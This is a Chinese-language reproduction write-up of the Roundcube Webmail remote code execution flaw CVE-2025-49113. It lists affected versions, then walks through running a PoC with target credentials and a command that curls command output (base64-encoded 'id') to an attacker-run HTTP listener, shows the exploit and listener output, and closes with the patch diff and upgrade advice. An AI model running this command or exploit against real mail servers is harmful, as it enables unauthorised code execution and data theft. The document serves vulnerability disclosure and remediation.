Roundcube Mail后台代码执行漏洞复现（CVE-2025-49113）及POC

漏洞介绍

Roundcube Webmail 是一个基于浏览器的开源电子邮件客户端，采用 PHP 编写，支持 IMAP 协议，界面现代、用户友好，功能包括邮件收发、地址簿管理、邮件搜索、HTML 邮件编辑等。它具有插件扩展能力，易于部署和定制，广泛应用于企业或个人邮件系统的前端界面。由于其开放源代码和活跃社区，Roundcube 成为了最受欢迎的 Webmail 解决方案之一。

Roundcube Webmail 在 1.5.10 之前的版本以及 1.6.x 中 1.6.11 之前的版本，存在远程代码执行漏洞。该漏洞允许经过身份验证的用户发起攻击，原因是在 `program/actions/settings/upload.php` 文件中，URL 中的 `_from` 参数未被正确验证，从而导致了 PHP 对象反序列化漏洞

漏洞版本

- Roundcube Webmail <1.5.10
- Roundcube Webmail <1.6.11

漏洞利用

首先在攻击机上开启一个http服务

```
┌──(root㉿kali)-[~]
└─# python3 -m http.server 9000
Serving HTTP on 0.0.0.0 port 9000 (http://0.0.0.0:9000/) ...
```

接着在攻击机执行POC

```
php CVE-2025-49113.php https://192.168.1.157/mail postmaster@linux.com 123456 'curl
http://192.168.1.164:9000/$(id | base64 -w0)'
```

- `https://192.168.1.157/mail`：目标Roundcube Mail地址
- `postmaster@linux.com`：目标Roundcube Mail用户名
- `123456`：目标Roundcube Mail密码
- `'curl http://192.168.1.164:9000/$(id | base64 -w0)'`：执行的命令（无回显）

```
┌──(root㉿kali)-[~/CVE-2025-49113]
└─# php CVE-2025-49113.php https://192.168.1.157/mail postmaster@linux.com 123456 'curl http://192.168.1.164:9000/$(id | base64 -w0)'
[+] Starting exploit (CVE-2025-49113)...
[*] Checking Roundcube version...
[*] Detected Roundcube version: 10502
[+] Target is vulnerable!
[+] Login successful!
[*] Exploiting...
[+] Gadget uploaded successfully!
```

执行成功之后，我们发现刚才开启的http服务已经有了回显

```
┌──(root㉿kali)-[~]
└─# python3 -m http.server 9000
Serving HTTP on 0.0.0.0 port 9000 (http://0.0.0.0:9000/) ...
192.168.1.157 - - [08/Jun/2025 09:22:19] code 404, message File not found
192.168.1.157 - - [08/Jun/2025 09:22:19] "GET /dWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMyh3d3ctZGF0YSkK HTTP/1.1" 404 -
```

base64解密一下获取命令回显。至此，命令执行成功

```
┌──(root㉿kali)-[~/CVE-2025-49113]
└─# echo 'dWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMyh3d3ctZGF0YSkK' |  base64 -d
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

漏洞修复

新版本新增了对`_from`参数的过滤，将其限制为简单字符串

program/actions/settings/upload.php +7

```
@@ -32,6 +32,13 @@ public function run($args = [])
            $from   = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
            $type   = preg_replace('/(add|edit)-/', '', $from);

+           // Validate URL input.
+           if (!rcube_utils::is_simple_string($type)) {
+               rcmail::write_log('errors', 'The URL parameter "_from" contains disallowed characters and the request is thus rejected.');
+               $rcmail->output->command('display_message', 'Invalid input', 'error');
+               $rcmail->output->send('iframe');
+           }
+
            // Plugins in Settings may use this file for some uploads (#5694)
            // Make sure it does not contain a dot, which is a special character
            // when using rcube_session::append() below
```

修复将版本升级

- Roundcube Webmail >= 1.5.10
- Roundcube Webmail >= 1.6.11